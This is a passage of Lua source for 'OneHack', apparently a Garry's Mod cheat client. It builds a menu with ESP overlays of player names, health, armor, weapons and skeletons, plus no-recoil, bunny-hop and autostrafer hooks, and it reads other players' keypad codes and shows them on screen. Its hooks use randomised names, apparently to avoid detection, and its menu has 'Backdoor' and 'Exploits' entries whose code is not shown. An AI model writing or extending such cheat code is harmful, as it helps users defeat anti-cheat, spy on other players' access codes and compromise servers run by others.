1731 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1732
1733 local red = 255 - (onehack.memory["logic"]*2.55)
1734 local green = onehack.memory["logic"] * 2.55
1735 local atadd = 52
1736 draw.RoundedBox(0,5,364,200+atadd,13,onehack.theme.backgroundalt2)
1737 draw.RoundedBox(0,6,365,(200-2)+atadd,13-2,onehack.theme.backgroundalt)
1738
1739 draw.RoundedBox(0,6, 365, math.Clamp( (onehack.memory["logic"]) * 0.75, 0, 200+atadd)-2, 13-2,Color(green,red, 0, 255) )
1740 draw.SimpleText("Core memory usage: "..onehack.memory["logic"].."kb","DermaDefault",(90-6)+atadd,363+(13/2),Color(255,255,255,100),1,1)
1741
1742 local red2 = 255 - (onehack.memory["hud"]*2.55)
1743 local green2 = onehack.memory["hud"] * 2.55
1744 local atstop = 257
1745 draw.RoundedBox(0,5+atstop,364,200,13,onehack.theme.backgroundalt2)
1746 draw.RoundedBox(0,6+atstop,365,200-2,13-2,onehack.theme.backgroundalt)
1747 local hudmemstext
1748 if onehack.memory["hud"] < 0 then
1749 hudmemstext = 0
1750 else
1751 hudmemstext = onehack.memory["hud"]
1752 end
1753
1754 draw.RoundedBox(0,6+atstop, 365, math.Clamp( (onehack.memory["hud"]) * 0.75, 0, 200)-2, 13-2,Color(green2,red2, 0, 255) )
1755 draw.SimpleText("Visuals memory usage: "..hudmemstext.."kb","DermaDefault",(110-6)+atstop,363+(13/2),Color(255,255,255,100),1,1)
1756 end
1757 logsmenuoptrichtext = vgui.Create( "RichText", logsmenuopt )
1758 logsmenuoptrichtext:SetPos(5, 5)
1759 logsmenuoptrichtext:SetSize( 457,353 ) --373
1760 logsmenuoptrichtext.Paint = function( _, w, h )
1761 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1762 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1763 end
1764 for idx, tab in pairs(onehack.debug) do
1765 logsmenuoptrichtext:InsertColorChange( tab[2].r, tab[2].g, tab[2].b, 255 )
1766 logsmenuoptrichtext:AppendText( tab[1].."\n" )
1767 end
1768
1769 if onehack.selectedpanel != nil then
1770 onehack.selectedpanel:Remove()
1771 end
1772 onehack.selectedpanel_id = 4
1773 onehack.selectedpanel = logsmenuopt
1774 end
1775
1776 function esppanel()
1777 esppanel = vgui.Create( "DPanel" , framesag )
1778 esppanel:SetPos( 126, 9 )
1779 esppanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1780 function esppanel:Paint( w, h )
1781 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1782 end
1783
1784 local esbenable = vgui.Create("DCheckBox",esppanel)
1785 esbenable:SetPos(5,5)
1786 esbenable:SetValue(onehack.Vars['ESP'])
1787 esbenable:SetSize(100,17)
1788 function esbenable:Paint(w,h)
1789 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1790 if esbenable:GetChecked() then
1791 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1792 end
1793 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1794 draw.SimpleText("Enabled","DermaDefault",24,h/2,Color(255,255,255),0,1)
1795 onehack.Vars['ESP'] = esbenable:GetChecked()
1796 end
1797
1798 local shownames = vgui.Create("DCheckBox",esppanel)
1799 shownames:SetPos(5,27)
1800 shownames:SetValue(onehack.Vars['ESP_NAME'])
1801 shownames:SetSize(100,17)
1802 function shownames:Paint(w,h)
1803 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1804 if shownames:GetChecked() then
1805 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1806 end
1807 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1808 draw.SimpleText("Name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1809 onehack.Vars['ESP_NAME'] = shownames:GetChecked()
1810 end
1811
1812 local showgroup = vgui.Create("DCheckBox",esppanel)
1813 showgroup:SetPos(5,49)
1814 showgroup:SetValue(onehack.Vars['ESP_GROUP'])
1815 showgroup:SetSize(100,17)
1816 function showgroup:Paint(w,h)
1817 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1818 if showgroup:GetChecked() then
1819 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1820 end
1821 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1822 draw.SimpleText("User group","DermaDefault",24,h/2,Color(255,255,255),0,1)
1823 onehack.Vars['ESP_GROUP'] = showgroup:GetChecked()
1824 end
1825
1826 local showteam = vgui.Create("DCheckBox",esppanel)
1827 showteam:SetPos(5,72)
1828 showteam:SetValue(onehack.Vars['ESP_TEAM'])
1829 showteam:SetSize(100,17)
1830 function showteam:Paint(w,h)
1831 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1832 if showteam:GetChecked() then
1833 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1834 end
1835 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1836 draw.SimpleText("Team name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1837 onehack.Vars['ESP_TEAM'] = showteam:GetChecked()
1838 end
1839
1840 local showhealthnumber = vgui.Create("DCheckBox",esppanel)
1841 showhealthnumber:SetPos(5,94)
1842 showhealthnumber:SetValue(onehack.Vars['ESP_HP'])
1843 showhealthnumber:SetSize(100,17)
1844 function showhealthnumber:Paint(w,h)
1845 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1846 if showhealthnumber:GetChecked() then
1847 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1848 end
1849 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1850 draw.SimpleText("Health number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1851 onehack.Vars['ESP_HP'] = showhealthnumber:GetChecked()
1852 end
1853
1854 local showhealtbox = vgui.Create("DCheckBox",esppanel)
1855 showhealtbox:SetPos(5,116)
1856 showhealtbox:SetValue(onehack.Vars['ESP_HPBOX'])
1857 showhealtbox:SetSize(100,17)
1858 function showhealtbox:Paint(w,h)
1859 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1860 if showhealtbox:GetChecked() then
1861 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1862 end
1863 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1864 draw.SimpleText("Health box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1865 onehack.Vars['ESP_HPBOX'] = showhealtbox:GetChecked()
1866 end
1867
1868 local showarmornumber = vgui.Create("DCheckBox",esppanel)
1869 showarmornumber:SetPos(5,137)
1870 showarmornumber:SetValue(onehack.Vars['ESP_ARMOR'])
1871 showarmornumber:SetSize(100,17)
1872 function showarmornumber:Paint(w,h)
1873 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1874 if showarmornumber:GetChecked() then
1875 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1876 end
1877 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1878 draw.SimpleText("Armor number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1879 onehack.Vars['ESP_ARMOR'] = showarmornumber:GetChecked()
1880 end
1881
1882 local showarmorbox = vgui.Create("DCheckBox",esppanel)
1883 showarmorbox:SetPos(5,159)
1884 showarmorbox:SetValue(onehack.Vars['ESP_ARMORBOX'])
1885 showarmorbox:SetSize(100,17)
1886 function showarmorbox:Paint(w,h)
1887 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1888 if showarmorbox:GetChecked() then
1889 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1890 end
1891 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1892 draw.SimpleText("Armor box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1893 onehack.Vars['ESP_ARMORBOX'] = showarmorbox:GetChecked()
1894 end
1895
1896 local showammonumber = vgui.Create("DCheckBox",esppanel)
1897 showammonumber:SetPos(5,181)
1898 showammonumber:SetValue(onehack.Vars['ESP_WEAPON'])
1899 showammonumber:SetSize(100,17)
1900 function showammonumber:Paint(w,h)
1901 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1902 if showammonumber:GetChecked() then
1903 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1904 end
1905 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1906 draw.SimpleText("Weapon name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1907 onehack.Vars['ESP_WEAPON'] = showammonumber:GetChecked()
1908 end
1909
1910 local showbox = vgui.Create("DCheckBox",esppanel)
1911 showbox:SetPos(5,202)
1912 showbox:SetValue(onehack.Vars['ESP_BOX'])
1913 showbox:SetSize(100,17)
1914 function showbox:Paint(w,h)
1915 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1916 if showbox:GetChecked() then
1917 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1918 end
1919 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1920 draw.SimpleText("Box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1921 onehack.Vars['ESP_BOX'] = showbox:GetChecked()
1922 end
1923
1924 local showskelet = vgui.Create("DCheckBox",esppanel)
1925 showskelet:SetPos(5,224)
1926 showskelet:SetValue(onehack.Vars['ESP_SKELET'])
1927 showskelet:SetSize(100,17)
1928 function showskelet:Paint(w,h)
1929 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1930 if showskelet:GetChecked() then
1931 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1932 end
1933 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1934 draw.SimpleText("Skeleton","DermaDefault",24,h/2,Color(255,255,255),0,1)
1935 onehack.Vars['ESP_SKELET'] = showskelet:GetChecked()
1936 end
1937
1938 local norecoil = vgui.Create("DCheckBox",esppanel)
1939 norecoil:SetPos(5,260)
1940 norecoil:SetValue(onehack.Vars['NoRecoil'])
1941 norecoil:SetSize(100,17)
1942 function norecoil:Paint(w,h)
1943 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1944 if norecoil:GetChecked() then
1945 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1946 end
1947 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1948 draw.SimpleText("No recoil","DermaDefault",24,h/2,Color(255,255,255),0,1)
1949 onehack.Vars['NoRecoil'] = norecoil:GetChecked()
1950 end
1951
1952 local Crosshair = vgui.Create("DCheckBox",esppanel)
1953 Crosshair:SetPos(5,282)
1954 Crosshair:SetValue(onehack.Vars['Crosshair'])
1955 Crosshair:SetSize(100,17)
1956 function Crosshair:Paint(w,h)
1957 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1958 if Crosshair:GetChecked() then
1959 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1960 end
1961 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1962 draw.SimpleText("Crosshair","DermaDefault",24,h/2,Color(255,255,255),0,1)
1963 onehack.Vars['Crosshair'] = Crosshair:GetChecked()
1964 end
1965
1966 local preview = vgui.Create("DPanel",esppanel)
1967 preview:SetPos(212,5)
1968 preview:SetSize(250,373)
1969 function preview:Paint(w,h)
1970 onehack.DrawRect(0,0,w,h,Color(255,255,255,10))
1971 onehack.DrawOutLinedRect(0,0,w,h,onehack.theme.backgroundalt2)
1972
1973 if onehack.Vars['ESP_NAME'] then
1974 draw.SimpleTextOutlined("Garry :D","default",w/2, 50,Color(255,255,255),1,1,1,Color(0,0,0))
1975 end
1976
1977 if onehack.Vars['ESP_WEAPON'] then
1978 draw.SimpleTextOutlined("Crowbar","default",w/2, h-50,Color(255,255,255),1,1,1,Color(0,0,0))
1979 end
1980
1981 if onehack.Vars['ESP_TEAM'] then
1982 draw.SimpleTextOutlined("Citizen","default",w-54, 65,Color(50,255,50),0,1,1,Color(0,0,0))
1983 end
1984
1985 if onehack.Vars['ESP_GROUP'] then
1986 draw.SimpleTextOutlined("Admin","default",w-54, 80,Color(255,255,255),0,1,1,Color(0,0,0))
1987 end
1988
1989 if onehack.Vars['ESP_HP'] then
1990 draw.SimpleTextOutlined("100%","default",58,56,Color(150,255,0),0,1,1,Color(0,0,0))
1991 end
1992
1993 if onehack.Vars['ESP_HPBOX'] then
1994 onehack.DrawOutLinedRect(53,60,6,h-120,Color(0,0,0))
1995 onehack.DrawRect(54,61,4,h-122,Color(150,255,0))
1996 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1997 end
1998
1999 if onehack.Vars['ESP_ARMOR'] then
2000 draw.SimpleTextOutlined("100%","default",46,56,Color(19,136,191),2,1,1,Color(0,0,0))
2001 end
2002
2003 if onehack.Vars['ESP_ARMORBOX'] then
2004 onehack.DrawOutLinedRect(46,60,6,h-120,Color(0,0,0))
2005 onehack.DrawRect(47,61,4,h-122,Color(19,136,191))
2006 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
2007 end
2008
2009 if onehack.Vars['ESP_BOX'] then
2010 onehack.DrawOutLinedRect(60,60,w-120,h-120,Color(0,0,0))
2011 onehack.DrawOutLinedRect(61,61,w-122,h-122,Color(255,255,255))
2012 onehack.DrawOutLinedRect(62,62,w-124,h-124,Color(0,0,0))
2013 end
2014 end
2015
2016 if onehack.selectedpanel != nil then
2017 onehack.selectedpanel:Remove()
2018 end
2019 onehack.selectedpanel_id = 5
2020 onehack.selectedpanel = esppanel
2021 end
2022
2023 function aimpanel()
2024 aimpanel = vgui.Create( "DPanel" , framesag )
2025 aimpanel:SetPos( 126, 9 )
2026 aimpanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
2027 function aimpanel:Paint( w, h )
2028 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
2029 draw.SimpleText("Coming soon...","DermaDefault",w/2,h/2,Color(255,255,255,100),1,1)
2030 end
2031
2032 if onehack.selectedpanel != nil then
2033 onehack.selectedpanel:Remove()
2034 end
2035 onehack.selectedpanel_id = 5
2036 onehack.selectedpanel = aimpanel
2037 end
2038
2039 PanelAddButton("Aimbot",aimpanel,6)
2040 PanelAddButton("Visuals",esppanel,5)
2041 PanelAddButton("Backdoor",onehackdooropt,1)
2042 PanelAddButton("Exploits",exploitmenuopt,2)
2043 PanelAddButton("Options",optionsmenuopt,3)
2044 PanelAddButton("Logs",logsmenuopt,4)
2045 onehackdooropt()
2046end
2047function myfunc()
2048 if input.IsKeyDown( KEY_F11 ) then
2049 if not timer.Exists("FW.MenuIsPressed") then
2050 if IsValid(framesag) then
2051 framesag:Remove()
2052 else
2053 MainFunc()
2054 end
2055 timer.Create("FW.MenuIsPressed",0.3,1,function() end)
2056 end
2057 end
2058
2059 if input.IsKeyDown( KEY_F9 ) then
2060 if not timer.Exists("FW.MenuIsPressedF9") then
2061 onehack.Vars['FCAM'] = !onehack.Vars['FCAM']
2062 timer.Create("FW.MenuIsPressedF9",0.3,1,function() end)
2063 end
2064 end
2065end
2066onehack.DebugLog( "Onehack loaded successfully!", Color(100,255,100) )
2067onehack.DebugLog( "onehack version v2.44, build 13.05.2019", Color(255,255,255) )
2068hook.Add("Think","twsgsh",myfunc)
2069
2070
2071local me = LocalPlayer();
2072function onehack.CreateMove(cmd)
2073 local memfootprint = gcinfo()
2074 if(!onehack.Vars['BHOP']) then return; end
2075 if(!me:IsOnGround() && cmd:KeyDown(IN_JUMP)) then
2076 cmd:RemoveKey(IN_JUMP);
2077 if(onehack.Vars['AUTOSTRAFER']) then
2078 if(cmd:GetMouseX() > 1 || cmd:GetMouseX() < -1) then
2079 cmd:SetSideMove(cmd:GetMouseX() > 1 && 400 || -400);
2080 else
2081 cmd:SetForwardMove(5850 / me:GetVelocity():Length2D());
2082 cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400);
2083 end
2084 end
2085 elseif(cmd:KeyDown(IN_JUMP) && onehack.Vars['AUTOSTRAFER']) then
2086 cmd:SetForwardMove(10000);
2087 end
2088 onehack.memory["logic"] = gcinfo() - memfootprint
2089end
2090hook.Add("CreateMove", onehack.RandomString(10), function(cmd)
2091 onehack.CreateMove(cmd);
2092end);
2093
2094function onehack.CalcView( ply, pos, angles, fov )
2095 if !me:IsValid() or !me:Alive() or me:GetViewEntity() != me or me:InVehicle() then return end
2096 local tps = {}
2097 if onehack.Vars['NoRecoil'] then
2098 tps.angles = me:EyeAngles()
2099 return tps
2100 end
2101end
2102hook.Add("CalcView", onehack.RandomString(10), onehack.CalcView)
2103
2104
2105local function coordinates( ent )
2106local min, max = ent:OBBMins(), ent:OBBMaxs()
2107local corners = {
2108 Vector( min.x, min.y, min.z ),
2109 Vector( min.x, min.y, max.z ),
2110 Vector( min.x, max.y, min.z ),
2111 Vector( min.x, max.y, max.z ),
2112 Vector( max.x, min.y, min.z ),
2113 Vector( max.x, min.y, max.z ),
2114 Vector( max.x, max.y, min.z ),
2115 Vector( max.x, max.y, max.z )
2116}
2117
2118local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
2119for _, corner in pairs( corners ) do
2120 local onScreen = ent:LocalToWorld( corner ):ToScreen()
2121 minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
2122 maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
2123end
2124function drawfillbox( mag,value,left,top,right,bottom,r,g,b,a )
2125 local poly = {
2126 {x=left,y=top},
2127 {x=right,y=top},
2128 {x=right,y=bottom},
2129 {x=left,y=bottom}
2130 }
2131 surface.SetDrawColor( r,g,b,a )
2132 draw.NoTexture()
2133 surface.DrawPoly(poly)
2134 draw.SimpleTextOutlined(value,"default",left + (right - left) / 2,top,Color(r,g,b,a),mag,1,1,Color(0,0,0))
2135end
2136return minX, minY, maxX, maxY
2137end
2138hook.Add("OnEntityCreated",onehack.RandomString(17),function(ent)
2139 onehack.DebugLog( ent:GetClass().." spawned on ("..tostring(ent:GetPos())..")", Color(100,100,100) )
2140end)
2141hook.Add( "PostDrawOpaqueRenderables", onehack.RandomString(17), function()
2142 if onehack.Vars['WEAPON_LIST3D'] then
2143 for k,vv in pairs(player.GetAll()) do
2144 if vv:IsValid() and vv ~= LocalPlayer() and vv:GetPos():Distance(LocalPlayer():GetPos()) < 600 and onehack.Vars['FCAM'] and vv:Alive() or (vv:GetPos():Distance(LocalPlayer():GetPos()) < 255 and vv ~= LocalPlayer() and vv:Alive()) then
2145 local rot = (vv:GetPos() - EyePos()):Angle().yaw - 90
2146 local ang = Angle(0,rot,90)
2147 cam.Start3D2D( vv:EyePos()+2*ang:Up(), ang-Angle(0,30,0), 0.15 )
2148 local otstup = 0
2149 local toleft = 160
2150 local alpha = 255 - vv:GetPos():Distance(LocalPlayer():GetPos())
2151 surface.SetDrawColor( 255, 165, 0, alpha )
2152 surface.DrawRect( toleft, 0, 150, 1 )
2153 surface.SetDrawColor( 0, 0, 0, alpha )
2154 surface.SetMaterial(Material("gui/gradient_down"))
2155 surface.DrawTexturedRect( toleft, 1, 150, alpha/2 )
2156 for k,v in pairs(vv:GetWeapons()) do
2157 surface.SetDrawColor( 255, 255, 255, alpha/2 )
2158 surface.SetMaterial(Material("gui/gradient_down"))
2159 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2160 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2161 surface.SetDrawColor( 255, 165, 0, alpha/2 )
2162 surface.SetMaterial(Material("gui/gradient_up"))
2163 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2164 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2165 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2166 surface.SetMaterial(Material("gui/gradient_up"))
2167 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2168 end
2169 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2170 surface.SetDrawColor( 255, 165, 0, alpha )
2171 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2172 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2173 else
2174 surface.SetDrawColor( 255, 255, 255, alpha )
2175 end
2176 surface.DrawOutlinedRect( 4+toleft, 4+otstup, 92+50, 15 )
2177
2178 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft, 5+otstup,Color(0,0,0,alpha))
2179 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft+1, 5+otstup-1,Color(255,255,255,alpha))
2180 otstup = otstup + 19
2181 end
2182 cam.End3D2D()
2183 end
2184 end
2185 end
2186
2187 if onehack.Vars['keypad_jiw'] then
2188 for k, e in pairs(ents.FindInSphere( LocalPlayer():GetPos(), 100 )) do
2189 if IsValid(e) and string.find( e:GetClass(), "Keypad") then
2190 local text;
2191 local color;
2192 if(e.code && e.code != "") then
2193 text = e.code;
2194 color = Color( 105, 255, 105, 150 )
2195 elseif(e.tempCode && e.tempCode != "") then
2196 text = e.tempCode;
2197 color = Color( 250, 150, 150, 150 )
2198 else
2199 text = "Unkn"
2200 color = Color(150,150,150,150)
2201 end
2202 local rot = (e:GetPos() - EyePos()):Angle().yaw - 90
2203 local rot2 = -(e:GetPos() - EyePos()):Angle().pich +90
2204 local ang = Angle(0,rot,rot2)
2205 cam.Start3D2D( e:GetPos()+Vector(0,0,2), ang-Angle(0,30,0), 0.15 )
2206 local otstup = 0
2207 local toleft = 40
2208 local alpha = 255-(e:GetPos():Distance(LocalPlayer():GetPos()))
2209 surface.SetDrawColor( color.r, color.g, color.b, alpha )
2210 surface.DrawRect( toleft, 0, 40, 1 )
2211 surface.SetDrawColor( 0, 0, 0, alpha )
2212 surface.SetMaterial(Material("gui/gradient_down"))
2213 surface.DrawTexturedRect( toleft, 1, 40, 30 )
2214 draw.SimpleText(text,"DermaDefault",8+toleft, 5+otstup,Color(255,255,255,alpha))
2215 cam.End3D2D()
2216 end
2217 end
2218 end
2219end )
2220hook.Add("HUDPaint", onehack.RandomString(17), function()
2221if onehack.Vars['WaterMark'] then
2222 surface.SetFont("DermaDefault")
2223 local tw,th = surface.GetTextSize("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name())
2224 tw = tw + 3
2225 onehack.DrawRect(5,5,10+tw,25,Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b,150))
2226 onehack.DrawRect(9,9,2+tw,17,Color(onehack.theme.chromaalt.r,onehack.theme.chromaalt.g,onehack.theme.chromaalt.b,150))
2227 onehack.DrawOutLinedRect(5,5,10+tw,25,Color(0,0,0,50))
2228 onehack.DrawOutLinedRect(9,9,2+tw,17,Color(0,0,0,50))
2229 draw.SimpleText("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name(),"DermaDefault",12,10,Color(255,255,255))
2230end
2231local memfootprintss = gcinfo()
2232if not onehack.Vars['ESP'] then return end
2233if onehack.Vars['Crosshair'] then
2234 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)+5,(ScrH()/2)+5,Color(255,255,255,100))
2235 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)-5,(ScrH()/2)+5,Color(255,255,255,100))
2236end
2237for k,v in pairs(player.GetAll()) do
2238 local left,top,right,bottom = coordinates(v)
2239 local dist = v:GetPos():Distance(LocalPlayer():GetPos())
2240 if v ~= LocalPlayer() then
2241 if dist > 20 then
2242 if v:Alive() then
2243 if left ~= 0 and right ~= 0 and top ~= 0 and bottom ~= 0 then
2244 if onehack.Vars['ESP_BOX'] then
2245 surface.SetDrawColor(Color(255,255,255))
2246 surface.DrawLine( left, top, right, top )
2247 surface.DrawLine( left, top, left, bottom )
2248 surface.DrawLine( right, top, right, bottom )
2249 surface.DrawLine( left, bottom, right, bottom )
2250
2251 surface.SetDrawColor(Color(0,0,0))
2252 surface.DrawLine( left-1, top-1, right+1, top-1 )
2253 surface.DrawLine( left-1, top-1, left-1, bottom+1 )
2254 surface.DrawLine( right+1, top-1, right+1, bottom+1 )
2255 surface.DrawLine( left-1, bottom+1, right+1, bottom+1 )
2256
2257 surface.SetDrawColor(Color(0,0,0))
2258 surface.DrawLine( left+1, top+1, right-1, top+1 )
2259 surface.DrawLine( left+1, top+1, left+1, bottom-1 )
2260 surface.DrawLine( right-1, top+1, right-1, bottom-1 )
2261 surface.DrawLine( left+1, bottom-1, right-1, bottom-1 )
2262 end
2263
2264 local hpdraw = {
2265 {x=left-4,y=top},
2266 {x=left-2,y=top},
2267 {x=left-2,y=bottom},
2268 {x=left-4,y=bottom}
2269 }
2270 if onehack.Vars['ESP_NAME'] then
2271 draw.SimpleTextOutlined(v:GetName(),"default",left + (right - left) / 2, top - 10,Color(255,255,255),1,1,1,Color(0,0,0))
2272 end
2273
2274 if IsValid(v:GetActiveWeapon()) and onehack.Vars['ESP_WEAPON'] then
2275 draw.SimpleTextOutlined(v:GetActiveWeapon():GetPrintName() or v:GetActiveWeapon():GetClass(),"default",left + (right - left) / 2, bottom + 10,Color(255,255,255),1,1,1,Color(0,0,0))
2276 end
2277 w, h = ScrW(), ScrH()
2278 w = w/2
2279 local hp = math.min(v:Health(), 100)
2280 local height = bottom - top - 1
2281 local healthbar_height = (hp / 100) * height
2282 local healthbar_height2 = (100 / 100) * height
2283 local width = (w * (hp / 100.0))
2284 local red = 255 - (hp*2.55)
2285 local green = hp * 2.55
2286 if onehack.Vars['ESP_HP'] then numb = v:Health().."%" else numb = "" end
2287 if onehack.Vars['ESP_HPBOX'] then
2288 drawfillbox( 0,"", left - 8, bottom - healthbar_height2 - 2,left - 2, bottom,0,0,0,255 )
2289 drawfillbox( 0,"", left - 7, bottom - healthbar_height2 - 1,left - 3, bottom-1,0,200,0,40 )
2290 drawfillbox( 0,numb, left - 7, bottom - healthbar_height - 1,left - 3, bottom-1,red,green,0,255 )
2291 end
2292 local ar = math.min(v:Armor(), 100)
2293 local armorbar_height = (ar / 100) * height
2294 local numb
2295 if onehack.Vars['ESP_ARMOR'] then numb = v:Armor().."%" else numb = "" end
2296 if onehack.Vars['ESP_ARMORBOX'] then
2297 drawfillbox( 0,"", left - 15, bottom - healthbar_height2 - 2,left - 10, bottom,0,0,0,255 )
2298 drawfillbox( 0,"", left - 14, bottom - healthbar_height2 - 1,left - 11, bottom-1,0,200,0,40 )
2299 drawfillbox( 2,numb, left - 14, bottom - armorbar_height - 1,left - 11, bottom-1,19,136,191,255 )
2300 end
2301 local plys = v
2302 local Bones = {}
2303 local sBones = {
2304 "ValveBiped.Bip01_Head1",
2305 "ValveBiped.Bip01_Neck1",
2306 "ValveBiped.Bip01_Spine4",
2307 "ValveBiped.Bip01_Spine2",
2308 "ValveBiped.Bip01_Spine1",
2309 "ValveBiped.Bip01_Spine",
2310 "ValveBiped.Bip01_Pelvis",
2311 "ValveBiped.Bip01_R_UpperArm",
2312 "ValveBiped.Bip01_R_Forearm",
2313 "ValveBiped.Bip01_R_Hand",
2314 "ValveBiped.Bip01_L_UpperArm",
2315 "ValveBiped.Bip01_L_Forearm",
2316 "ValveBiped.Bip01_L_Hand",
2317 "ValveBiped.Bip01_R_Thigh",
2318 "ValveBiped.Bip01_R_Calf",
2319 "ValveBiped.Bip01_R_Foot",
2320 "ValveBiped.Bip01_R_Toe0",
2321 "ValveBiped.Bip01_L_Thigh",
2322 "ValveBiped.Bip01_L_Calf",
2323 "ValveBiped.Bip01_L_Foot",
2324 "ValveBiped.Bip01_L_Toe0"
2325 }
2326 local Success = true
2327 for k, v in pairs(sBones) do
2328 if plys:LookupBone(v) != nil && plys:GetBonePosition(plys:LookupBone(v)) != nil then
2329 table.insert( Bones, plys:GetBonePosition(plys:LookupBone(v)):ToScreen() )
2330 else
2331 Success = false
2332 end
2333 end
2334 surface.SetDrawColor(Color(255,255,255))
2335 if Success and onehack.Vars['ESP_SKELET'] then
2336 surface.DrawLine( Bones[1].x, Bones[1].y, Bones[2].x, Bones[2].y )
2337 surface.DrawLine( Bones[2].x, Bones[2].y, Bones[3].x, Bones[3].y )
2338 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[4].x, Bones[4].y )
2339 surface.DrawLine( Bones[4].x, Bones[4].y, Bones[5].x, Bones[5].y )
2340 surface.DrawLine( Bones[5].x, Bones[5].y, Bones[6].x, Bones[6].y )
2341 surface.DrawLine( Bones[6].x, Bones[6].y, Bones[7].x, Bones[7].y )
2342
2343 //Legs
2344 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[14].x, Bones[14].y )
2345 surface.DrawLine( Bones[14].x, Bones[14].y, Bones[15].x, Bones[15].y )
2346 surface.DrawLine( Bones[15].x, Bones[15].y, Bones[16].x, Bones[16].y )
2347 surface.DrawLine( Bones[16].x, Bones[16].y, Bones[17].x, Bones[17].y )
2348
2349 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[18].x, Bones[18].y )
2350 surface.DrawLine( Bones[18].x, Bones[18].y, Bones[19].x, Bones[19].y )
